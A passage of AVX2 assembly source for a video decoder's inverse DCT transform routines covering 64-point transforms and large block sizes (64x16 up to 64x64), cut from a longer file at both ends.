mova [tmp2q+32*0], m10
mova [tmp2q+32*1], m8
vpbroadcastd m3, [o(idct64_mul+4*16)]
vpbroadcastd m11, [o(idct64_mul+4*17)]
vpbroadcastd m2, [o(idct64_mul+4*20)]
vpbroadcastd m10, [o(idct64_mul+4*21)]
vpbroadcastd m1, [o(idct64_mul+4*24)]
vpbroadcastd m9, [o(idct64_mul+4*25)]
vpbroadcastd m0, [o(idct64_mul+4*28)]
vpbroadcastd m8, [o(idct64_mul+4*29)]
pmulhrsw m3, m4 ; t59a
pmulhrsw m4, m11 ; t36a
pmulhrsw m2, m5 ; t58a
pmulhrsw m5, m10 ; t37a
pmulhrsw m1, m6 ; t57a
pmulhrsw m6, m9 ; t38a
pmulhrsw m0, m7 ; t56a
pmulhrsw m7, m8 ; t39a
psubsw m8, m4, m5 ; t37
paddsw m4, m5 ; t36
psubsw m5, m7, m6 ; t38
paddsw m7, m6 ; t39
psubsw m6, m0, m1 ; t57
paddsw m0, m1 ; t56
psubsw m1, m3, m2 ; t58
paddsw m3, m2 ; t59
ITX_MULSUB_2W 6, 5, 2, 9, 15, m2598, 3166 ; t38a, t57a
vpbroadcastd m10, [o(pw_3166_2598)]
ITX_MULSUB_2W 1, 8, 2, 9, 15, 10, 9 ; t37a, t58a
psubsw m2, m7, m4 ; t36a
paddsw m7, m4 ; t39a
psubsw m4, m0, m3 ; t59a
paddsw m0, m3 ; t56a
psubsw m3, m6, m1 ; t37
paddsw m6, m1 ; t38
psubsw m1, m5, m8 ; t58
paddsw m5, m8 ; t57
mova [tmp1q+32*2], m6
mova [tmp1q+32*3], m7
mova [tmp2q-32*4], m0
mova [tmp2q-32*3], m5
vpbroadcastd m6, [o(pw_m799_m4017)]
vpbroadcastd m7, [o(pw_m4017_799)]
ITX_MULSUB_2W 4, 2, 0, 5, 15, 7, 6 ; t36, t59
ITX_MULSUB_2W 1, 3, 0, 5, 15, 7, 6 ; t37a, t58a
mova [tmp1q+32*0], m4
mova [tmp1q+32*1], m1
mova [tmp2q-32*2], m3
mova [tmp2q-32*1], m2
ret
%define o_base pw_5 + 128
.main_part2_pass1: ; idct64 steps 6-9 + idct16/32/64 sumsub
sub rax, o_idct64_offset + 8
vpbroadcastd m11, [o(pw_1567_3784)]
vpbroadcastd m12, [o(pw_m3784_1567)]
vpbroadcastd m13, [o(pw_2896_2896)]
vpbroadcastd m14, [o(pw_m2896_2896)]
.main_part2_pass1_loop:
call .main_part2_internal
IDCT64_PART2_END 0, 7, 0, 6, 9, 10
IDCT64_PART2_END 7, 8, 5, 0, 6, 7
IDCT64_PART2_END 8, 2, 1, 0, 6, 7
IDCT64_PART2_END 15, 3, 4, 0, 6, 7
cmp tmp1q, tmp2q
jne .main_part2_pass1_loop
ret
.main_part2_internal:
mova m0, [tmp1q-32*12] ; t32a
mova m6, [tmp2q-32*13] ; t39a
mova m1, [tmp1q-32* 4] ; t40a
mova m5, [tmp2q+32* 3] ; t55a
add tmp1q, 32
sub tmp2q, 32
mova m2, [tmp1q+32* 3] ; t48a
mova m4, [tmp2q-32* 4] ; t47a
mova m3, [tmp1q+32*11] ; t56a
mova m7, [tmp2q+32*12] ; t63a
psubsw m8, m0, m6 ; t39
paddsw m0, m6 ; t32
psubsw m6, m4, m1 ; t40
paddsw m4, m1 ; t47
psubsw m1, m2, m5 ; t55
paddsw m2, m5 ; t48
psubsw m5, m7, m3 ; t56
paddsw m7, m3 ; t63
ITX_MULSUB_2W 5, 8, 3, 9, 15, 11, 12 ; t39a, t56a
vpbroadcastd m9, [o(pw_m1567_m3784)]
ITX_MULSUB_2W 1, 6, 3, 9, 15, 12, 9 ; t40a, t55a
psubsw m3, m0, m4 ; t47a
paddsw m0, m4 ; t32a
psubsw m4, m7, m2 ; t48a
paddsw m7, m2 ; t63a
psubsw m2, m5, m1 ; t40
paddsw m5, m1 ; t39
psubsw m1, m8, m6 ; t55
paddsw m8, m6 ; t56
ITX_MULSUB_2W 4, 3, 6, 9, 15, 13, 14 ; t47, t48
ITX_MULSUB_2W 1, 2, 6, 9, 15, 13, 14 ; t40a, t55a
ret
.main_part2_pass2:
sub rax, o_idct64_offset + 8
vpbroadcastd m11, [o(pw_1567_3784)]
vpbroadcastd m12, [o(pw_m3784_1567)]
vpbroadcastd m13, [o(pw_2896_2896)]
lea r9, [strideq*5] ; stride*5
lea r3, [r9+strideq*1] ; stride*6
lea r7, [r9+strideq*2] ; stride*7
lea r8, [r3+strideq*2] ; stride*8
lea r2, [dstq+r7]
.main_part2_pass2_loop:
vpbroadcastd m14, [o(pw_m2896_2896)]
call .main_part2_internal
vpbroadcastd m14, [o(pw_2048)]
IDCT64_PART2_END 0, 7, 0, 6, 9, 10, strideq*0, r3*4, r8*4, r7*8
IDCT64_PART2_END 7, 8, 5, 0, 6, 7, strideq*0, r3*4, r8*4, r7*8
IDCT64_PART2_END 8, 2, 1, 0, 6, 7, strideq*8, r8*2, r9*8, r3*8
IDCT64_PART2_END 15, 3, 4, 0, 6, 7, strideq*8, r8*2, r9*8, r3*8
add dstq, strideq
sub r2, strideq
cmp tmp1q, tmp2q
jne .main_part2_pass2_loop
ret
cglobal inv_txfm_add_dct_dct_64x16, 4, 4, 0, dst, stride, c, eob
lea rax, [o_base]
test eobd, eobd
jnz .normal
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
movd xm2, [o(pw_8192)]
mov [cq], eobd
mov r2d, 16
.dconly:
pmulhrsw xm0, xm2
movd xm2, [o(pw_2048)]
pmulhrsw xm0, xm1
pmulhrsw xm0, xm2
vpbroadcastw m0, xm0
pxor m1, m1
.dconly_loop:
mova m2, [dstq+32*0]
mova m3, [dstq+32*1]
punpckhbw m4, m2, m1
punpcklbw m2, m1
punpckhbw m5, m3, m1
punpcklbw m3, m1
paddw m4, m0
paddw m2, m0
paddw m5, m0
paddw m3, m0
packuswb m2, m4
packuswb m3, m5
mova [dstq+32*0], m2
mova [dstq+32*1], m3
add dstq, strideq
dec r2d
jg .dconly_loop
RET
.normal:
PROLOGUE 0, 7, 16, 32*67, dst, stride, c, eob, tmp1, tmp2
LOAD_8ROWS cq+32*0, 32*4
pxor m8, m8
REPX {mova [cq+32*x], m8}, 0, 4, 8, 12, 16, 20, 24, 28
REPX {mova x, m8}, m9, m10, m11, m12, m13, m14
mova [rsp], m8
lea tmp1q, [rsp+32*7]
call m(idct_16x16_internal).main
mova m1, [rsp+32*1]
mova [tmp1q-32*4], m0
mova [tmp1q-32*3], m1
mova [tmp1q-32*2], m2
mova [tmp1q-32*1], m3
mova [tmp1q+32*0], m4
mova [tmp1q+32*1], m5
mova [tmp1q+32*2], m6
mova [tmp1q+32*3], m7
add tmp1q, 32*8
mova [tmp1q-32*4], m8
mova [tmp1q-32*3], m9
mova [tmp1q-32*2], m10
mova [tmp1q-32*1], m11
mova [tmp1q+32*0], m12
mova [tmp1q+32*1], m13
mova [tmp1q+32*2], m14
mova [tmp1q+32*3], m15
LOAD_8ROWS cq+32*2, 32*4
pxor m8, m8
REPX {mova [cq+32*x], m8}, 2, 6, 10, 14, 18, 22, 26, 30
add tmp1q, 32*8
lea tmp2q, [tmp1q+32*8]
call m(inv_txfm_add_dct_dct_16x32).main_oddhalf_fast
vpbroadcastd m15, [o(pd_2048)]
add tmp1q, 32*16
add tmp2q, 32*32
mova m0, [cq+32* 1]
mova m1, [cq+32*31]
mova m2, [cq+32*17]
mova m3, [cq+32*15]
mova m4, [cq+32* 9]
mova m5, [cq+32*23]
mova m6, [cq+32*25]
mova m7, [cq+32* 7]
pxor m8, m8
REPX {mova [cq+32*x], m8}, 1, 31, 17, 15, 9, 23, 25, 7
add rax, o_idct64_offset
call m(inv_txfm_add_dct_dct_16x64).main_part1
add rax, 8
add tmp1q, 32*8
sub tmp2q, 32*8
mova m0, [cq+32* 5]
mova m1, [cq+32*27]
mova m2, [cq+32*21]
mova m3, [cq+32*11]
mova m4, [cq+32*13]
mova m5, [cq+32*19]
mova m6, [cq+32*29]
mova m7, [cq+32* 3]
pxor m8, m8
REPX {mova [cq+32*x], m8}, 5, 27, 21, 11, 13, 19, 29, 3
call m(inv_txfm_add_dct_dct_16x64).main_part1
call m(inv_txfm_add_dct_dct_16x64).main_part2_pass1
sub tmp1q, 32*36
lea r2, [strideq*3]
mov tmp2d, 4
.pass2_loop:
lea r3, [tmp1q-32*8]
mova xm0, [r3 -32*4]
mova xm1, [r3 -32*3]
vinserti128 m0, m0, [tmp1q-32*4], 1
vinserti128 m1, m1, [tmp1q-32*3], 1
mova xm2, [r3 -32*2]
mova xm3, [r3 -32*1]
vinserti128 m2, m2, [tmp1q-32*2], 1
vinserti128 m3, m3, [tmp1q-32*1], 1
mova xm4, [r3 +32*0]
mova xm5, [r3 +32*1]
vinserti128 m4, m4, [tmp1q+32*0], 1
vinserti128 m5, m5, [tmp1q+32*1], 1
mova xm6, [r3 +32*2]
mova xm7, [r3 +32*3]
vinserti128 m6, m6, [tmp1q+32*2], 1
vinserti128 m7, m7, [tmp1q+32*3], 1
mova xm8, [r3 -32*4+16]
mova xm9, [r3 -32*3+16]
vinserti128 m8, m8, [tmp1q-32*4+16], 1
vinserti128 m9, m9, [tmp1q-32*3+16], 1
mova xm10, [r3 -32*2+16]
mova xm11, [r3 -32*1+16]
vinserti128 m10, m10, [tmp1q-32*2+16], 1
vinserti128 m11, m11, [tmp1q-32*1+16], 1
mova xm12, [r3 +32*0+16]
mova xm13, [r3 +32*1+16]
vinserti128 m12, m12, [tmp1q+32*0+16], 1
vinserti128 m13, m13, [tmp1q+32*1+16], 1
mova xm14, [r3 +32*2+16]
mova xm15, [r3 +32*3+16]
vinserti128 m14, m14, [tmp1q+32*2+16], 1
vinserti128 m15, m15, [tmp1q+32*3+16], 1
mova [rsp+32*0], m6
mova [rsp+32*1], m7
vpbroadcastd m7, [o(pw_8192)]
call m(inv_txfm_add_dct_dct_16x32).transpose_2x8x8_round
call m(idct_16x16_internal).main
mova [rsp+32*0], m15
vpbroadcastd m15, [o(pw_2048)]
REPX {pmulhrsw x, m15}, m0, m2, m3, m4, m5, m6, m7
WRITE_16X2 2, 3, 1, 2, strideq*2, r2
pmulhrsw m1, m15, [rsp+32*1]
WRITE_16X2 0, 1, 2, 3, strideq*0, strideq*1
lea r3, [dstq+strideq*4]
%define dstq r3
WRITE_16X2 4, 5, 2, 3, strideq*0, strideq*1
WRITE_16X2 6, 7, 2, 3, strideq*2, r2
REPX {pmulhrsw x, m15}, m8, m9, m10, m11, m12, m13, m14
lea r3, [r3+strideq*4]
WRITE_16X2 8, 9, 2, 3, strideq*0, strideq*1
WRITE_16X2 10, 11, 2, 3, strideq*2, r2
pmulhrsw m15, [rsp+32*0]
lea r3, [r3+strideq*4]
WRITE_16X2 12, 13, 2, 3, strideq*0, strideq*1
WRITE_16X2 14, 15, 2, 3, strideq*2, r2
add tmp1q, 32*16
add r0, 16
dec tmp2d
jg .pass2_loop
RET
cglobal inv_txfm_add_dct_dct_32x64, 4, 4, 0, dst, stride, c, eob
lea rax, [o_base]
test eobd, eobd
jnz .normal
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
movd xm2, [o(pw_16384)]
mov [cq], eobd
pmulhrsw xm0, xm1
mov r2d, 64
jmp m(inv_txfm_add_dct_dct_32x8).dconly
.normal:
PROLOGUE 0, 11, 16, 32*99, dst, stride, c, eob, tmp1, tmp2
lea tmp1q, [rsp+32*7]
lea r10d, [eobq-136]
sar r10d, 31
.pass1_loop:
lea tmp2q, [tmp1q+32*16]
LOAD_8ROWS cq+64*1, 64*2, 1
pxor m8, m8
REPX {mova [cq+64*x], m8}, 1, 3, 5, 7, 9, 11, 13, 15
test r10b, r10b
jnz .fast
LOAD_8ROWS_H cq+64*17, 64*2, 2
call m(inv_txfm_add_dct_dct_16x32).main_oddhalf
LOAD_8ROWS_H cq+64*16, 64*2, 1
mova [rsp], m15
pxor m15, m15
REPX {mova [cq+64*x], m15}, 16, 17, 18, 19, 20, 21, 22, 23, \
24, 25, 26, 27, 28, 29, 30, 31
jmp .idct16
.fast:
call m(inv_txfm_add_dct_dct_16x32).main_oddhalf_fast
pxor m8, m8
REPX {mova x, m8}, m9, m10, m11, m12, m13, m14
mova [rsp], m8
.idct16:
LOAD_8ROWS cq+64*0, 64*2, 1
pxor m15, m15
REPX {mova [cq+64*x], m15}, 0, 2, 4, 6, 8, 10, 12, 14
call m(idct_16x16_internal).main
call m(inv_txfm_add_dct_dct_32x16).pass1_end
vpbroadcastd m7, [o(pw_16384)]
call m(inv_txfm_add_dct_dct_16x32).transpose_2x8x8_round
lea r3, [tmp1q+32*48]
mova m15, [rsp]
mova [r3-32*4], m0
mova [r3-32*3], m2
mova [r3-32*2], m4
mova [r3-32*1], m6
mova [r3+32*0], m8
mova [r3+32*1], m10
mova [r3+32*2], m12
mova [r3+32*3], m14
add r3, 32*24
mova [r3-32*4], m1
mova [r3-32*3], m3
mova [r3-32*2], m5
mova [r3-32*1], m7
mova [r3+32*0], m9
mova [r3+32*1], m11
mova [r3+32*2], m13
mova [r3+32*3], m15
vpbroadcastd m9, [o(pw_16384)]
pmulhrsw m0, m9, [tmp1q-32*4]
pmulhrsw m1, m9, [tmp1q-32*3]
pmulhrsw m2, m9, [tmp1q-32*2]
pmulhrsw m3, m9, [tmp1q-32*1]
pmulhrsw m4, m9, [tmp1q+32*0]
pmulhrsw m5, m9, [tmp1q+32*1]
pmulhrsw m6, m9, [tmp1q+32*2]
pmulhrsw m7, m9, [tmp1q+32*3]
call m(inv_txfm_add_identity_identity_8x32).transpose8x8
mova [tmp1q-32*4], m0
pmulhrsw m0, m9, [tmp2q-32*4]
mova [tmp2q-32*4], m1
pmulhrsw m1, m9, [tmp2q-32*3]
mova [tmp1q-32*3], m2
pmulhrsw m2, m9, [tmp2q-32*2]
mova [tmp2q-32*3], m3
pmulhrsw m3, m9, [tmp2q-32*1]
mova [tmp1q-32*2], m4
pmulhrsw m4, m9, [tmp2q+32*0]
mova [tmp2q-32*2], m5
pmulhrsw m5, m9, [tmp2q+32*1]
mova [tmp1q-32*1], m6
pmulhrsw m6, m9, [tmp2q+32*2]
mova [tmp2q-32*1], m7
pmulhrsw m7, m9, [tmp2q+32*3]
call m(inv_txfm_add_identity_identity_8x32).transpose8x8
mova [tmp1q+32*0], m0
mova [tmp2q+32*0], m1
mova [tmp1q+32*1], m2
mova [tmp2q+32*1], m3
mova [tmp1q+32*2], m4
mova [tmp2q+32*2], m5
mova [tmp1q+32*3], m6
mova [tmp2q+32*3], m7
add cq, 32
add tmp1q, 32*8
add r10d, 0x80000000
jnc .pass1_loop
lea r2, [rsp+32*55]
lea r7, [r2+32*24]
.pass2_loop:
lea r3, [r2+32*8]
lea r8, [r7+32*8]
mova m0, [r2-32*4]
mova m1, [r2-32*2]
mova m2, [r2+32*0]
mova m3, [r2+32*2]
pxor m4, m4
REPX {mova x, m4}, m5, m6, m7, m8, m9, m10, m11, m12, m13, m14
test r10b, r10b
jnz .fast2
mova m4, [r3-32*4]
mova m5, [r3-32*2]
mova m6, [r3+32*0]
mova m7, [r3+32*2]
.fast2:
mova [rsp], m8
lea tmp1q, [rsp+32*39]
call m(idct_16x16_internal).main
mova m1, [rsp+32*1]
mova [tmp1q-32*4], m0
mova [tmp1q-32*3], m1
mova [tmp1q-32*2], m2
mova [tmp1q-32*1], m3
mova [tmp1q+32*0], m4
mova [tmp1q+32*1], m5
mova [tmp1q+32*2], m6
mova [tmp1q+32*3], m7
add tmp1q, 32*8
mova [tmp1q-32*4], m8
mova [tmp1q-32*3], m9
mova [tmp1q-32*2], m10
mova [tmp1q-32*1], m11
mova [tmp1q+32*0], m12
mova [tmp1q+32*1], m13
mova [tmp1q+32*2], m14
mova [tmp1q+32*3], m15
mova m0, [r2-32*3]
mova m1, [r2-32*1]
mova m2, [r2+32*1]
mova m3, [r2+32*3]
pxor m4, m4
REPX {mova x, m4}, m5, m6, m7
test r10b, r10b
jnz .fast3
mova m4, [r3-32*3]
mova m5, [r3-32*1]
mova m6, [r3+32*1]
mova m7, [r3+32*3]
.fast3:
add tmp1q, 32*8
lea tmp2q, [tmp1q+32*8]
call m(inv_txfm_add_dct_dct_16x32).main_oddhalf_fast
vpbroadcastd m15, [o(pd_2048)]
add tmp1q, 32*16
add tmp2q, 32*32
mova m0, [r7-32*4]
mova m3, [r7+32*3]
mova m4, [r7+32*0]
mova m7, [r7-32*1]
pxor m1, m1
REPX {mova x, m1}, m2, m5, m6
test r10b, r10b
jnz .fast4
mova m1, [r8+32*3]
mova m2, [r8-32*4]
mova m5, [r8-32*1]
mova m6, [r8+32*0]
.fast4:
add rax, o_idct64_offset
call m(inv_txfm_add_dct_dct_16x64).main_part1
add rax, 8
add tmp1q, 32*8
sub tmp2q, 32*8
mova m0, [r7-32*2]
mova m3, [r7+32*1]
mova m4, [r7+32*2]
mova m7, [r7-32*3]
pxor m1, m1
REPX {mova x, m1}, m2, m5, m6
test r10b, r10b
jnz .fast5
mova m1, [r8+32*1]
mova m2, [r8-32*2]
mova m5, [r8-32*3]
mova m6, [r8+32*2]
.fast5:
call m(inv_txfm_add_dct_dct_16x64).main_part1
call m(inv_txfm_add_dct_dct_16x64).main_part2_pass2
add r10d, 0x80000000
jc .ret
lea r2, [rsp+32*7]
lea r7, [r2+32*16]
sub dstq, r8
lea dstq, [dstq+strideq*4+16]
jmp .pass2_loop
.ret:
RET
cglobal inv_txfm_add_dct_dct_64x32, 4, 4, 0, dst, stride, c, eob
lea rax, [o_base]
test eobd, eobd
jnz .normal
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
movd xm2, [o(pw_16384)]
mov [cq], eobd
pmulhrsw xm0, xm1
mov r2d, 32
jmp m(inv_txfm_add_dct_dct_64x16).dconly
.normal:
PROLOGUE 0, 9, 16, 32*131, dst, stride, c, eob, tmp1, tmp2, \
base, tmp3, tmp4
lea tmp1q, [rsp+32*7]
lea tmp4d, [eobq-136]
.pass1_loop:
LOAD_8ROWS cq+64*0, 64*4, 1
pxor m8, m8
REPX {mova [cq+64*x], m8}, 0, 4, 8, 12, 16, 20, 24, 28
REPX {mova x, m8}, m9, m10, m11, m12, m13, m14
mova [rsp], m8
call m(idct_16x16_internal).main
mova m1, [rsp+32*1]
mova [tmp1q-32*4], m0
mova [tmp1q-32*3], m1
mova [tmp1q-32*2], m2
mova [tmp1q-32*1], m3
mova [tmp1q+32*0], m4
mova [tmp1q+32*1], m5
mova [tmp1q+32*2], m6
mova [tmp1q+32*3], m7
add tmp1q, 32*8
mova [tmp1q-32*4], m8
mova [tmp1q-32*3], m9
mova [tmp1q-32*2], m10
mova [tmp1q-32*1], m11
mova [tmp1q+32*0], m12
mova [tmp1q+32*1], m13
mova [tmp1q+32*2], m14
mova [tmp1q+32*3], m15
LOAD_8ROWS cq+64*2, 64*4, 1
pxor m8, m8
REPX {mova [cq+64*x], m8}, 2, 6, 10, 14, 18, 22, 26, 30
add tmp1q, 32*8
lea tmp2q, [tmp1q+32*8]
call m(inv_txfm_add_dct_dct_16x32).main_oddhalf_fast
vpbroadcastd m15, [o(pd_2048)]
add tmp1q, 32*16
add tmp2q, 32*32
vpbroadcastd m7, [o(pw_2896x8)]
pmulhrsw m0, m7, [cq+64* 1]
pmulhrsw m1, m7, [cq+64*31]
pmulhrsw m2, m7, [cq+64*17]
pmulhrsw m3, m7, [cq+64*15]
pmulhrsw m4, m7, [cq+64* 9]
pmulhrsw m5, m7, [cq+64*23]
pmulhrsw m6, m7, [cq+64*25]
pmulhrsw m7, [cq+64* 7]
pxor m8, m8
REPX {mova [cq+64*x], m8}, 1, 31, 17, 15, 9, 23, 25, 7
add rax, o_idct64_offset
call m(inv_txfm_add_dct_dct_16x64).main_part1
vpbroadcastd m7, [o(pw_2896x8-(o_idct64_offset))]
add rax, 8
add tmp1q, 32*8
sub tmp2q, 32*8
pmulhrsw m0, m7, [cq+64* 5]
pmulhrsw m1, m7, [cq+64*27]
pmulhrsw m2, m7, [cq+64*21]
pmulhrsw m3, m7, [cq+64*11]
pmulhrsw m4, m7, [cq+64*13]
pmulhrsw m5, m7, [cq+64*19]
pmulhrsw m6, m7, [cq+64*29]
pmulhrsw m7, [cq+64* 3]
pxor m8, m8
REPX {mova [cq+64*x], m8}, 5, 27, 21, 11, 13, 19, 29, 3
call m(inv_txfm_add_dct_dct_16x64).main_part1
call m(inv_txfm_add_dct_dct_16x64).main_part2_pass1
sub tmp1q, 32*44
vpbroadcastd m10, [o(pw_16384)]
call m(inv_txfm_add_dct_dct_64x32).transpose_round_interleave
add cq, 32
add tmp4d, 0x80000000
jnc .pass1_loop
lea tmp1q, [rsp+32*15]
imul r2, strideq, 19
lea r3, [strideq*3]
add r2, dstq
mov tmp4b, 4
.pass2_loop:
lea tmp2q, [tmp1q+32*64]
LOAD_8ROWS tmp1q-32*4, 32
test tmp4d, 0x40000000
jnz .fast
LOAD_8ROWS_H tmp2q-32*4, 32
call m(inv_txfm_add_dct_dct_16x32).main_oddhalf
lea tmp3q, [tmp2q-32*8]
LOAD_8ROWS_H tmp3q-32*4, 32
mova [rsp], m15
jmp .idct16
.fast:
call m(inv_txfm_add_dct_dct_16x32).main_oddhalf_fast
pxor m8, m8
REPX {mova x, m8}, m9, m10, m11, m12, m13, m14
mova [rsp], m8
.idct16:
lea tmp3q, [tmp1q-32*8]
LOAD_8ROWS tmp3q-32*4, 32
call m(idct_16x16_internal).main
call m(inv_txfm_add_dct_dct_16x32).pass2_end
add tmp1q, 32*16
sub dstq, r3
lea r2, [r2+r3+16]
add dstq, 16
dec tmp4b
jg .pass2_loop
RET
ALIGN function_align
.transpose_round_interleave:
mov tmp3d, 4
.loop:
lea tmp2q, [tmp1q+32*8]
mova xm0, [tmp1q-32*4]
mova xm1, [tmp1q-32*3]
vinserti128 m0, m0, [tmp2q-32*4], 1
vinserti128 m1, m1, [tmp2q-32*3], 1
mova xm2, [tmp1q-32*2]
mova xm3, [tmp1q-32*1]
vinserti128 m2, m2, [tmp2q-32*2], 1
vinserti128 m3, m3, [tmp2q-32*1], 1
mova xm4, [tmp1q+32*0]
mova xm5, [tmp1q+32*1]
vinserti128 m4, m4, [tmp2q+32*0], 1
vinserti128 m5, m5, [tmp2q+32*1], 1
mova xm6, [tmp1q+32*2]
mova xm7, [tmp1q+32*3]
vinserti128 m6, m6, [tmp2q+32*2], 1
vinserti128 m7, m7, [tmp2q+32*3], 1
REPX {pmulhrsw x, m10}, m0, m1, m2, m3, m4, m5, m6, m7
call m(inv_txfm_add_identity_identity_8x32).transpose8x8
mova xm8, [tmp1q-32*4+16]
mova xm9, [tmp1q-32*3+16]
vinserti128 m8, m8, [tmp2q-32*4+16], 1
vinserti128 m9, m9, [tmp2q-32*3+16], 1
mova [tmp1q-32*4], m0
mova [tmp2q-32*4], m1
mova [tmp1q-32*3], m2
mova [tmp2q-32*3], m3
mova xm2, [tmp1q-32*2+16]
mova xm3, [tmp1q-32*1+16]
vinserti128 m2, m2, [tmp2q-32*2+16], 1
vinserti128 m3, m3, [tmp2q-32*1+16], 1
mova [tmp1q-32*2], m4
mova [tmp2q-32*2], m5
mova [tmp1q-32*1], m6
mova [tmp2q-32*1], m7
mova xm4, [tmp1q+32*0+16]
mova xm5, [tmp1q+32*1+16]
vinserti128 m4, m4, [tmp2q+32*0+16], 1
vinserti128 m5, m5, [tmp2q+32*1+16], 1
mova xm6, [tmp1q+32*2+16]
mova xm7, [tmp1q+32*3+16]
vinserti128 m6, m6, [tmp2q+32*2+16], 1
vinserti128 m7, m7, [tmp2q+32*3+16], 1
pmulhrsw m0, m8, m10
pmulhrsw m1, m9, m10
REPX {pmulhrsw x, m10}, m2, m3, m4, m5, m6, m7
call m(inv_txfm_add_identity_identity_8x32).transpose8x8
mova [tmp1q+32*0], m0
mova [tmp2q+32*0], m1
mova [tmp1q+32*1], m2
mova [tmp2q+32*1], m3
mova [tmp1q+32*2], m4
mova [tmp2q+32*2], m5
mova [tmp1q+32*3], m6
mova [tmp2q+32*3], m7
add tmp1q, 32*16
dec tmp3d
jg .loop
ret
cglobal inv_txfm_add_dct_dct_64x64, 4, 4, 0, dst, stride, c, eob
lea rax, [o_base]
test eobd, eobd
jnz .normal
movd xm1, [o(pw_2896x8)]
pmulhrsw xm0, xm1, [cq]
movd xm2, [o(pw_8192)]
mov [cq], eobd
mov r2d, 64
jmp m(inv_txfm_add_dct_dct_64x16).dconly
.normal:
PROLOGUE 0, 11, 16, 32*199, dst, stride, c, eob, tmp1, tmp2
lea tmp1q, [rsp+32*71]
lea r10d, [eobq-136]
.pass1_loop:
LOAD_8ROWS cq+64*0, 64*4
pxor m8, m8
REPX {mova [cq+64*x], m8}, 0, 4, 8, 12, 16, 20, 24, 28
REPX {mova x, m8}, m9, m10, m11, m12, m13, m14
mova [rsp], m8
call m(idct_16x16_internal).main
mova m1, [rsp+32*1]
mova [tmp1q-32*4], m0
mova [tmp1q-32*3], m1
mova [tmp1q-32*2], m2
mova [tmp1q-32*1], m3
mova [tmp1q+32*0], m4
mova [tmp1q+32*1], m5
mova [tmp1q+32*2], m6
mova [tmp1q+32*3], m7
add tmp1q, 32*8
mova [tmp1q-32*4], m8
mova [tmp1q-32*3], m9
mova [tmp1q-32*2], m10
mova [tmp1q-32*1], m11
mova [tmp1q+32*0], m12
mova [tmp1q+32*1], m13
mova [tmp1q+32*2], m14
mova [tmp1q+32*3], m15
LOAD_8ROWS cq+64*2, 64*4
pxor m8, m8
REPX {mova [cq+64*x], m8}, 2, 6, 10, 14, 18, 22, 26, 30
add tmp1q, 32*8
lea tmp2q, [tmp1q+32*8]
call m(inv_txfm_add_dct_dct_16x32).main_oddhalf_fast
vpbroadcastd m15, [o(pd_2048)]
add tmp1q, 32*16
add tmp2q, 32*32
mova m0, [cq+64* 1]
mova m1, [cq+64*31]
mova m2, [cq+64*17]
mova m3, [cq+64*15]
mova m4, [cq+64* 9]
mova m5, [cq+64*23]
mova m6, [cq+64*25]
mova m7, [cq+64* 7]
pxor m8, m8
REPX {mova [cq+64*x], m8}, 1, 31, 17, 15, 9, 23, 25, 7
add rax, o_idct64_offset
call m(inv_txfm_add_dct_dct_16x64).main_part1
add rax, 8
add tmp1q, 32*8
sub tmp2q, 32*8
mova m0, [cq+64* 5]
mova m1, [cq+64*27]
mova m2, [cq+64*21]
mova m3, [cq+64*11]
mova m4, [cq+64*13]
mova m5, [cq+64*19]
mova m6, [cq+64*29]
mova m7, [cq+64* 3]
pxor m8, m8
REPX {mova [cq+64*x], m8}, 5, 27, 21, 11, 13, 19, 29, 3
call m(inv_txfm_add_dct_dct_16x64).main_part1
call m(inv_txfm_add_dct_dct_16x64).main_part2_pass1
sub tmp1q, 32*44
vpbroadcastd m10, [o(pw_8192)]
call m(inv_txfm_add_dct_dct_64x32).transpose_round_interleave
add cq, 32
add r10d, 0x80000000
jnc .pass1_loop
lea tmp1q, [rsp+32*7]
mov r10b, 4
.pass2_loop:
lea r2, [tmp1q+32*64]
mova m0, [r2-32*4]
mova m1, [r2-32*2]
mova m2, [r2+32*0]
mova m3, [r2+32*2]
pxor m4, m4
REPX {mova x, m4}, m5, m6, m7, m8, m9, m10, m11, m12, m13, m14
mova [rsp], m4
test r10d, 0x40000000
jnz .fast
lea r3, [r2+32*64]
mova m4, [r3-32*4]
mova m5, [r3-32*2]
mova m6, [r3+32*0]
mova m7, [r3+32*2]
.fast:
call m(idct_16x16_internal).main
mova m1, [rsp+32*1]
mova [tmp1q-32*4], m0
mova [tmp1q-32*3], m1
mova [tmp1q-32*2], m2
mova [tmp1q-32*1], m3
mova [tmp1q+32*0], m4
mova [tmp1q+32*1], m5
mova [tmp1q+32*2], m6
mova [tmp1q+32*3], m7
add tmp1q, 32*8
mova [tmp1q-32*4], m8
mova [tmp1q-32*3], m9
mova [tmp1q-32*2], m10
mova [tmp1q-32*1], m11
mova [tmp1q+32*0], m12
mova [tmp1q+32*1], m13
mova [tmp1q+32*2], m14
mova [tmp1q+32*3], m15
mova m0, [r2-32*3]
mova m1, [r2-32*1]
mova m2, [r2+32*1]
mova m3, [r2+32*3]
pxor m4, m4
REPX {mova x, m4}, m5, m6, m7
test r10d, 0x40000000
jnz .fast2
mova m4, [r3-32*3]
mova m5, [r3-32*1]
mova m6, [r3+32*1]
mova m7, [r3+32*3]
.fast2:
add tmp1q, 32*8
lea tmp2q, [tmp1q+32*8]
call m(inv_txfm_add_dct_dct_16x32).main_oddhalf_fast
vpbroadcastd m15, [o(pd_2048)]
add r2, 32*8
add r3, 32*8
add tmp1q, 32*16
add tmp2q, 32*32
mova m0, [r2-32*4] ; 1
mova m3, [r2+32*3] ; 15
mova m4, [r2+32*0] ; 9
mova m7, [r2-32*1] ; 7
pxor m1, m1
REPX {mova x, m1}, m2, m5, m6
test r10d, 0x40000000
jnz .fast3
mova m1, [r3+32*3] ; 31
mova m2, [r3-32*4] ; 17
mova m5, [r3-32*1] ; 23
mova m6, [r3+32*0] ; 25
.fast3:
add rax, o_idct64_offset
call m(inv_txfm_add_dct_dct_16x64).main_part1
add rax, 8
add tmp1q, 32*8
sub tmp2q, 32*8
mova m0, [r2-32*2] ; 5
mova m3, [r2+32*1] ; 11
mova m4, [r2+32*2] ; 13
mova m7, [r2-32*3] ; 3
pxor m1, m1
REPX {mova x, m1}, m2, m5, m6
test r10d, 0x40000000
jnz .fast4
mova m1, [r3+32*1] ; 27
mova m2, [r3-32*2] ; 21
mova m5, [r3-32*3] ; 19
mova m6, [r3+32*2] ; 29
.fast4:
call m(inv_txfm_add_dct_dct_16x64).main_part1
call m(inv_txfm_add_dct_dct_16x64).main_part2_pass2
sub tmp1q, 32*28
sub dstq, r8
